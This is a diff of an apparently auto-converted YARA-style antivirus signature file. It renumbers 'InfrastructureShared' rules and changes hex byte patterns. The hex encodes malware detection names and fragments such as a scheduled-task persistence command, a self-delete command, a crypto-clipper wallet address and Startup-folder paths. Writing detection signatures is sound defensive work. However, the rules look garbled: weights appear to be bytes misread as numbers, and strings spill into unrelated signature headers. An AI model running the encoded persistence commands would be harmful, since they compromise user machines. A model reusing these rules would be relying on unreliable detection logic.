+206927,7 @@ rule _InfrastructureShared_16479{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29797+(#a_69_2 & 1)*29284+(#a_75_3 & 1)*29795+(#a_33_4 & 1)*25953+(#a_6f_5 & 1)*28530+(#a_23_6 & 1)*9+(#a_53_7 & 1)*29281+(#a_73_8 & 1)*28521+(#a_00_10 & 1)*1) >=11 } -rule _InfrastructureShared_16480{ +rule _InfrastructureShared_17562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -193992,7 +206947,7 @@ rule _InfrastructureShared_16480{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25971+(#a_53_2 & 1)*-32489+(#a_2e_3 & 1)*25972+(#a_43_4 & 1)*1536+(#a_01_5 & 1)*24931+(#a_72_6 & 1)*18034+(#a_6f_7 & 1)*26964+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1) >=11 } -rule _InfrastructureShared_16481{ +rule _InfrastructureShared_17563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -194009,7 +206964,7 @@ rule _InfrastructureShared_16481{ ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*28486+(#a_70_3 & 1)*25656+(#a_21_4 & 1)*11825+(#a_64_5 & 1)*24904+(#a_72_6 & 1)*28261+(#a_50_7 & 1)*19535+(#a_04_8 & 1)*-28531) >=13 } -rule _InfrastructureShared_16482{ +rule _InfrastructureShared_17564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -194029,7 +206984,7 @@ rule _InfrastructureShared_16482{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*25455+(#a_6c_2 & 1)*28737+(#a_4c_3 & 1)*20270+(#a_01_4 & 1)*-29418+(#a_00_6 & 1)*1+(#a_54_7 & 1)*19529+(#a_72_8 & 1)*29793+(#a_6e_9 & 1)*27722+(#a_44_10 & 1)*28277+(#a_6f_11 & 1)*21605) >=13 } -rule _InfrastructureShared_16483{ +rule _InfrastructureShared_17565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -194042,7 +206997,7 @@ rule _InfrastructureShared_16483{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*1281+(#a_01_2 & 1)*28420+(#a_6f_3 & 1)*29795) >=16 } -rule _InfrastructureShared_16484{ +rule _InfrastructureShared_17566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 07 00 21 " @@ -194056,7 +207011,7 @@ rule _InfrastructureShared_16484{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*19246+(#a_4a_2 & 1)*23041+(#a_00_3 & 1)*79+(#a_4c_4 & 1)*17454) >=20 } -rule _InfrastructureShared_16485{ +rule _InfrastructureShared_17567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 09 00 21 " @@ -194072,7 +207027,7 @@ rule _InfrastructureShared_16485{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26739+(#a_02_2 & 1)*1+(#a_0b_3 & 1)*0+(#a_05_4 & 1)*-28571+(#a_17_6 & 1)*0+(#a_00_7 & 1)*28521) >=33 } -rule _InfrastructureShared_16486{ +rule _InfrastructureShared_17568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -194082,7 +207037,7 @@ rule _InfrastructureShared_16486{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16487{ +rule _InfrastructureShared_17569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -194096,7 +207051,7 @@ rule _InfrastructureShared_16487{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*19713+(#a_00_2 & 1)*114+(#a_79_3 & 1)*8302+(#a_0a_4 & 1)*29185) >=1 } -rule _InfrastructureShared_16488{ +rule _InfrastructureShared_17570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -194110,7 +207065,7 @@ rule _InfrastructureShared_16488{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*11265+(#a_09_3 & 1)*-28536+(#a_90_4 & 1)*257+(#a_74_5 & 1)*19828) >=1 } -rule _InfrastructureShared_16489{ +rule _InfrastructureShared_17571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -194125,7 +207080,7 @@ rule _InfrastructureShared_16489{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30029+(#a_68_2 & 1)*11892+(#a_61_3 & 1)*27749+(#a_00_5 & 1)*121+(#a_00_6 & 1)*116) >=1 } -rule _InfrastructureShared_16490{ +rule _InfrastructureShared_17572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -194136,7 +207091,7 @@ rule _InfrastructureShared_16490{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110) >=2 } -rule _InfrastructureShared_16491{ +rule _InfrastructureShared_17573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -194148,7 +207103,7 @@ rule _InfrastructureShared_16491{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25964+(#a_01_2 & 1)*12800) >=2 } -rule _InfrastructureShared_16492{ +rule _InfrastructureShared_17574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -194161,7 +207116,7 @@ rule _InfrastructureShared_16492{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*101+(#a_00_3 & 1)*93+(#a_00_4 & 1)*112) >=2 } -rule _InfrastructureShared_16493{ +rule _InfrastructureShared_17575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -194178,7 +207133,7 @@ rule _InfrastructureShared_16493{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30580+(#a_ff_2 & 1)*29537+(#a_05_3 & 1)*2+(#a_11_4 & 1)*2+(#a_74_5 & 1)*4096+(#a_d5_6 & 1)*20497+(#a_70_7 & 1)*21345) >=2 } -rule _InfrastructureShared_16494{ +rule _InfrastructureShared_17576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -194196,7 +207151,7 @@ rule _InfrastructureShared_16494{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25926+(#a_6a_2 & 1)*19365+(#a_d3_3 & 1)*8405+(#a_ce_4 & 1)*-10803+(#a_6d_5 & 1)*29288+(#a_6f_6 & 1)*28233+(#a_00_7 & 1)*25964+(#a_00_9 & 1)*105) >=2 } -rule _InfrastructureShared_16495{ +rule _InfrastructureShared_17577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -194208,15 +207163,14 @@ rule _InfrastructureShared_16495{ $a_74_4 = {72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 4f 62 6a 65 63 74 90 02 08 4e 74 43 72 65 61 74 65 46 69 6c 65 90 00 01 00 3b 03 4e 74 52 65 61 64 46 69 6c 65 90 02 08 4e 74 43 6f 6d 70 61 72 65 54 6f 6b 65 6e 73 90 02 08 5a 77 44 } //2050 $a_74_5 = {46 69 6c 65 90 02 08 5a 77 43 72 65 61 74 65 4b 65 79 90 00 00 00 78 0b 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 49 42 52 21 4d 54 42 00 01 00 11 00 42 75 64 64 68 69 73 74 62 61 72 72 69 6b 61 64 65 01 00 20 00 41 00 73 00 74 00 72 } //27749 $a_00_7 = {68 00 6f 00 6c 00 6f 00 67 00 79 00 67 00 75 00 01 00 a1 03 89 c6 f7 c3 90 02 1a 68 90 01 04 90 02 1a 5f 90 02 1a b8 90 01 04 90 02 1a 35 90 01 04 90 02 1a 2d 90 01 04 90 02 1a 35 90 01 04 90 02 1a 05 90 01 04 90 02 2a 8b 0c 07 90 02 1a 81 f1 90 01 04 90 02 1a 31 0c 06 90 02 1a c7 85 90 01 04 90 01 04 66 f7 c2 00 00 66 f7 c7 00 00 f7 c6 00 00 00 } //105 - $a_90_8 = {12 90 01 04 90 02 30 81 85 90 1b 12 90 01 04 90 02 1a 81 ad 90 1b 12 90 01 04 90 02 1a 48 ff 8d 90 1b 12 75 90 01 01 90 02 1a 83 f8 00 0f 8d 90 01 04 90 02 1a 56 90 02 1a c3 90 00 00 00 78 0b 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 57 61 6c 6b 77 61 79 2e 42 21 64 68 61 00 01 00 2f 01 62 61 63 6b 2d 73 65 72 76 69 63 65 2f 62 61 63 6b 2d 73 65 72 76 69 63 65 2e 28 2a 43 79 63 6c 6f 70 73 29 2e 73 6f 6e 61 72 43 68 65 63 6b 01 00 2d 01 62 61 63 6b 2d 73 65 72 76 69 63 65 2f 62 61 63 6b 2d 73 65 72 } //-32512 - $a_65_9 = {28 2a 43 79 63 6c 6f 70 73 29 2e 6d 61 6b 65 42 65 61 6d 01 00 26 01 62 61 63 6b 2d 73 65 72 76 69 63 65 2f 62 61 63 6b 2d 73 65 72 76 69 63 65 2e 73 6f 6e 61 72 43 6f 6e 66 69 67 73 01 00 25 01 62 61 63 6b 2d 73 65 72 76 69 63 65 2f 62 61 63 6b 2d 73 65 72 76 69 63 65 2e 62 65 61 6d 43 6f 6e 66 } //26998 - $a_01_10 = {00 27 01 62 61 63 6b 2d 73 65 72 76 69 63 65 2f 62 61 63 6b 2d 73 65 72 76 69 63 65 2e 73 6f 6e 61 72 52 65 73 70 6f 6e 73 65 00 00 78 0b 01 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 78 63 68 61 6e 67 65 53 63 61 6e 6e 65 72 2e 41 21 64 68 61 00 03 00 24 01 61 62 66 35 31 37 61 64 2d 62 64 64 66 2d 34 65 62 } //26473 - $a_38_11 = {30 2d 30 30 32 62 31 66 31 63 66 65 64 64 02 00 2a 01 6f 00 77 00 61 00 2f 00 61 00 75 00 74 00 68 00 2f 00 65 00 72 00 72 00 6f 00 72 00 46 00 45 00 2e 00 61 00 73 00 70 } //11568 + $a_90_8 = {12 90 01 04 90 02 30 81 85 90 1b 12 90 01 04 90 02 1a 81 ad 90 1b 12 90 01 04 90 02 1a 48 ff 8d 90 1b 12 75 90 01 01 90 02 1a 83 f8 00 0f 8d 90 01 04 90 02 1a 56 90 02 1a c3 90 00 00 00 78 0b 01 00 03 00 03 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 45 78 63 68 61 6e 67 65 52 65 61 64 2e 42 21 64 68 61 00 02 00 4c 01 4d 00 61 00 78 00 52 00 65 00 74 00 72 00 69 00 65 00 73 00 20 00 65 00 78 00 63 00 65 00 65 00 64 00 73 00 2e 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 72 00 65 00 74 00 } //-32512 + $a_00_9 = {65 00 76 00 65 00 01 00 28 01 44 00 65 00 6c 00 62 00 6f 00 78 00 20 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 43 00 6f 00 75 00 6e 00 74 00 02 00 0d 81 01 45 78 63 68 5f 52 65 63 69 65 76 65 72 01 00 4a 01 5b 00 2b 00 5d 00 20 00 4d 00 61 00 78 00 20 00 52 00 65 00 74 00 72 00 69 00 65 00 73 00 20 00 66 } //114 + $a_00_11 = {65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 00 00 78 0b 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 57 61 6c 6b 77 61 79 2e 42 21 64 68 61 00 01 } //32 condition: - ((#a_5f_0 & 1)*25635+(#a_49_1 & 1)*27756+(#a_65_2 & 1)*28530+(#a_72_3 & 1)*29811+(#a_74_4 & 1)*2050+(#a_74_5 & 1)*27749+(#a_00_7 & 1)*105+(#a_90_8 & 1)*-32512+(#a_65_9 & 1)*26998+(#a_01_10 & 1)*26473+(#a_38_11 & 1)*11568) >=2 + ((#a_5f_0 & 1)*25635+(#a_49_1 & 1)*27756+(#a_65_2 & 1)*28530+(#a_72_3 & 1)*29811+(#a_74_4 & 1)*2050+(#a_74_5 & 1)*27749+(#a_00_7 & 1)*105+(#a_90_8 & 1)*-32512+(#a_00_9 & 1)*114+(#a_00_11 & 1)*32) >=2 } -rule _InfrastructureShared_16496{ +rule _InfrastructureShared_17578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -194228,7 +207182,7 @@ rule _InfrastructureShared_16496{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*25939+(#a_46_2 & 1)*24933) >=3 } -rule _InfrastructureShared_16497{ +rule _InfrastructureShared_17579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -194240,7 +207194,19 @@ rule _InfrastructureShared_16497{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_90_2 & 1)*7056) >=3 } -rule _InfrastructureShared_16498{ +rule _InfrastructureShared_17580{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 45 78 63 68 61 6e 67 65 52 65 61 64 2e 42 21 64 68 61 00 02 00 4c 01 4d 00 61 00 78 00 52 00 65 00 74 00 72 00 69 00 65 00 73 00 20 00 65 00 78 00 63 00 65 00 65 00 64 00 73 00 2e 00 20 } //16675 + $a_00_2 = {65 00 64 00 20 00 74 00 6f 00 20 00 72 00 65 00 74 00 72 00 69 00 65 00 76 00 65 00 01 00 28 01 44 00 65 00 6c 00 62 00 6f 00 78 00 20 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 43 00 6f 00 75 00 6e 00 74 00 02 00 0d 81 01 45 78 63 68 5f 52 65 63 69 65 76 65 72 01 00 4a 01 5b 00 2b 00 5d 00 20 00 4d 00 61 00 78 00 } //105 + $a_00_3 = {65 00 74 00 72 00 69 00 65 00 73 00 20 00 66 00 6f 00 72 00 20 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 00 00 78 0b 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //32 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*32) >=3 + +} +rule _InfrastructureShared_17581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -194254,7 +207220,7 @@ rule _InfrastructureShared_16498{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27491+(#a_63_2 & 1)*25089+(#a_62_3 & 1)*25955+(#a_65_4 & 1)*26998) >=3 } -rule _InfrastructureShared_16499{ +rule _InfrastructureShared_17582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -194270,7 +207236,7 @@ rule _InfrastructureShared_16499{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*298+(#a_4e_2 & 1)*18499+(#a_00_3 & 1)*3+(#a_6e_4 & 1)*27247+(#a_6c_5 & 1)*23666+(#a_55_6 & 1)*24951) >=3 } -rule _InfrastructureShared_16500{ +rule _InfrastructureShared_17583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -194285,7 +207251,7 @@ rule _InfrastructureShared_16500{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*23553+(#a_34_2 & 1)*11829+(#a_61_3 & 1)*267+(#a_6c_4 & 1)*28257+(#a_00_6 & 1)*100) >=3 } -rule _InfrastructureShared_16501{ +rule _InfrastructureShared_17584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194298,7 +207264,7 @@ rule _InfrastructureShared_16501{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*103+(#a_6e_3 & 1)*22330) >=4 } -rule _InfrastructureShared_16502{ +rule _InfrastructureShared_17585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194311,7 +207277,7 @@ rule _InfrastructureShared_16502{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*400+(#a_00_2 & 1)*29185+(#a_90_3 & 1)*-31546) >=4 } -rule _InfrastructureShared_16503{ +rule _InfrastructureShared_17586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194324,7 +207290,7 @@ rule _InfrastructureShared_16503{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*27753+(#a_7a_2 & 1)*24841+(#a_09_3 & 1)*14637) >=4 } -rule _InfrastructureShared_16504{ +rule _InfrastructureShared_17587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194337,7 +207303,7 @@ rule _InfrastructureShared_16504{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*23913+(#a_35_2 & 1)*18497+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_16505{ +rule _InfrastructureShared_17588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194349,7 +207315,7 @@ rule _InfrastructureShared_16505{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_04_2 & 1)*2826) >=4 } -rule _InfrastructureShared_16506{ +rule _InfrastructureShared_17589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -194363,7 +207329,7 @@ rule _InfrastructureShared_16506{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28718+(#a_00_2 & 1)*105+(#a_00_3 & 1)*21581+(#a_00_4 & 1)*115) >=4 } -rule _InfrastructureShared_16507{ +rule _InfrastructureShared_17590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -194376,7 +207342,7 @@ rule _InfrastructureShared_16507{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*73+(#a_03_3 & 1)*1+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_16508{ +rule _InfrastructureShared_17591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -194386,7 +207352,21 @@ rule _InfrastructureShared_16508{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_16509{ +rule _InfrastructureShared_17592{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 50 47 42 21 4d 54 42 00 01 00 36 80 01 62 69 74 63 6f 69 6e 63 61 73 68 3a 71 71 65 79 78 79 34 71 61 36 66 6b 67 67 6e 6c 72 70 35 67 77 } //21539 + $a_6a_1 = {6b 30 67 6b 71 73 38 75 6e 34 34 78 6e 39 65 6b 01 00 1a 80 01 2f 63 20 74 69 6d 65 6f 75 74 20 35 20 3e 6e 75 6c 20 26 26 20 64 65 6c 20 22 01 00 3f 80 01 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 7b 30 7d 22 20 2f 74 72 20 22 7b 31 7d 22 20 2f 53 43 20 4d 49 4e 55 54 45 20 2f 4d 4f 20 31 20 2f 49 54 20 2f 46 01 00 18 80 } //13163 + $a_20_2 = {63 68 74 61 73 6b 73 20 2f 71 75 65 72 79 20 2f 74 6e 20 22 01 00 1e 80 01 4f 6e 65 44 72 69 76 65 20 53 74 61 72 74 75 70 20 54 61 73 6b 2d 53 2d 32 2d 35 2d 32 35 00 00 78 0b 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 } //12033 + $a_54_3 = {00 01 00 0d 81 01 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 01 00 20 81 01 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 3d 56 69 65 77 66 69 6c 65 73 2e 65 78 65 01 00 2f 81 01 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f } //8532 + $a_53_4 = {61 72 74 20 4d 65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 5c 01 00 2f 81 01 73 65 6c 65 63 74 20 6e 61 6d 65 20 66 72 6f 6d 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 2d 2d 2d 27 01 00 0f 81 01 41 63 74 69 6f 6e 3d 4f 70 } //29559 + condition: + ((#a_4c_0 & 1)*21539+(#a_6a_1 & 1)*13163+(#a_20_2 & 1)*12033+(#a_54_3 & 1)*8532+(#a_53_4 & 1)*29559) >=5 + +} +rule _InfrastructureShared_17593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -194402,7 +207382,7 @@ rule _InfrastructureShared_16509{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30565+(#a_27_2 & 1)*25965+(#a_31_3 & 1)*25977+(#a_64_4 & 1)*30063+(#a_6d_5 & 1)*29291+(#a_01_6 & 1)*8192) >=7 } -rule _InfrastructureShared_16510{ +rule _InfrastructureShared_17594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -194418,7 +207398,7 @@ rule _InfrastructureShared_16510{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29801+(#a_20_2 & 1)*25962+(#a_61_3 & 1)*24946+(#a_6c_4 & 1)*24936+(#a_67_5 & 1)*21089+(#a_00_6 & 1)*2936) >=7 } -rule _InfrastructureShared_16511{ +rule _InfrastructureShared_17595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -194437,7 +207417,7 @@ rule _InfrastructureShared_16511{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*26736+(#a_72_2 & 1)*28783+(#a_4b_3 & 1)*29285+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=7 } -rule _InfrastructureShared_16512{ +rule _InfrastructureShared_17596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -194454,7 +207434,7 @@ rule _InfrastructureShared_16512{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28261+(#a_65_2 & 1)*28277+(#a_33_3 & 1)*12624+(#a_65_4 & 1)*30050+(#a_72_5 & 1)*25445+(#a_00_6 & 1)*-27579+(#a_85_7 & 1)*-3003) >=8 } -rule _InfrastructureShared_16513{ +rule _InfrastructureShared_17597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -194468,7 +207448,7 @@ rule _InfrastructureShared_16513{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9472+(#a_53_2 & 1)*9587+(#a_03_4 & 1)*17803+(#a_f8_6 & 1)*776) >=8 } -rule _InfrastructureShared_16514{ +rule _InfrastructureShared_17598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -194478,32 +207458,48 @@ rule _InfrastructureShared_16514{ $a_55_2 = {32 33 21 4d 54 42 00 01 00 20 81 01 23 5c 62 79 70 6c 61 6e 6c 67 6e 69 6e 67 73 75 64 76 61 6c 67 65 74 5c 64 6e 67 65 6e 64 65 73 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 53 69 72 65 6e 64 65 73 } //16971 $a_5c_3 = {00 0d 81 01 6f 66 66 65 72 6c 75 6e 64 2e 74 78 74 01 00 0d 81 01 72 61 79 6f 6e 6e 61 6e 74 2e 61 6d 70 01 00 17 81 01 73 70 72 6e 67 73 74 6f 66 61 74 74 65 } //14385 $a_74_4 = {72 2e 63 79 73 01 00 11 81 01 53 6f 66 74 77 61 72 65 5c 64 69 73 6b 75 72 73 73 01 00 13 81 01 53 6f 66 74 77 61 72 65 5c 4f 64 79 73 73 65 73 31 30 35 01 00 12 81 01 72 65 70 68 6f 73 70 68 6f 72 69 7a 61 74 69 6f 6e 73 01 00 18 81 01 53 6f 66 74 77 61 72 65 5c 52 65 70 61 74 72 6f 6e 69 } //29806 - $a_32_5 = {30 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 13 80 01 61 70 69 2e 61 7a 2d 70 61 72 74 6e 65 72 73 2e 6e 65 74 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0c 80 } //25978 - $a_69_6 = {65 6e 74 20 2f 72 75 6e 01 00 14 80 01 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 01 00 1a 80 01 5c 55 6e 69 6e 73 74 61 6c 6c 5c 41 76 61 73 74 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 20 80 01 57 61 72 67 61 6d 69 6e 67 2e 6e 65 74 5c 47 61 6d 65 43 65 6e 74 } //12033 - $a_61_7 = {70 4d 61 69 6e 01 00 16 80 01 44 72 69 76 65 72 48 75 62 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 69 67 6f 72 6f 73 00 01 00 0d 01 4e 74 52 65 71 75 65 73 74 50 6f 72 74 01 00 13 } //29285 + $a_32_5 = {30 00 00 78 0b 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 49 58 30 31 21 4d 54 42 00 01 00 18 81 01 73 6b 6e 64 73 65 6c 73 67 65 72 6e 69 6e 67 65 72 6e 65 73 2e 74 78 74 01 00 12 81 01 5c 64 75 6c 63 69 66 69 63 61 74 69 6f 6e 2e 69 6e 69 01 00 17 81 01 76 69 64 65 6f 62 61 61 6e 64 6f 70 74 } //25978 + $a_72_6 = {6e 2e 73 65 6e 01 00 0e 81 01 6a 69 6e 72 69 63 6b 73 68 61 2e 6f 70 74 01 00 10 81 01 42 61 64 65 76 72 65 6c 73 65 72 73 2e 69 6d 70 01 00 1b 81 01 6e 6f 6e 73 74 75 64 65 6e 74 20 6f 76 65 72 73 70 72 69 6e 67 6e 69 6e 67 65 72 01 00 22 81 01 69 6e 64 76 61 72 73 6c 65 64 65 20 62 72 64 73 6b 72 69 } //26465 + $a_72_7 = {20 64 61 69 6d 69 6f 61 74 65 01 00 0c 81 01 68 61 6c 76 61 6b 73 65 72 6e 65 73 01 00 0e 81 01 75 6e 69 66 6c 6f 72 6f 75 73 2e 65 78 65 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 13 80 01 61 70 69 2e 61 7a 2d 70 61 72 74 6e 65 72 73 2e 6e 65 } //29798 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-5366+(#a_55_2 & 1)*16971+(#a_5c_3 & 1)*14385+(#a_74_4 & 1)*29806+(#a_32_5 & 1)*25978+(#a_69_6 & 1)*12033+(#a_61_7 & 1)*29285) >=8 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-5366+(#a_55_2 & 1)*16971+(#a_5c_3 & 1)*14385+(#a_74_4 & 1)*29806+(#a_32_5 & 1)*25978+(#a_72_6 & 1)*26465+(#a_72_7 & 1)*29798) >=8 } -rule _InfrastructureShared_16515{ +rule _InfrastructureShared_17599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 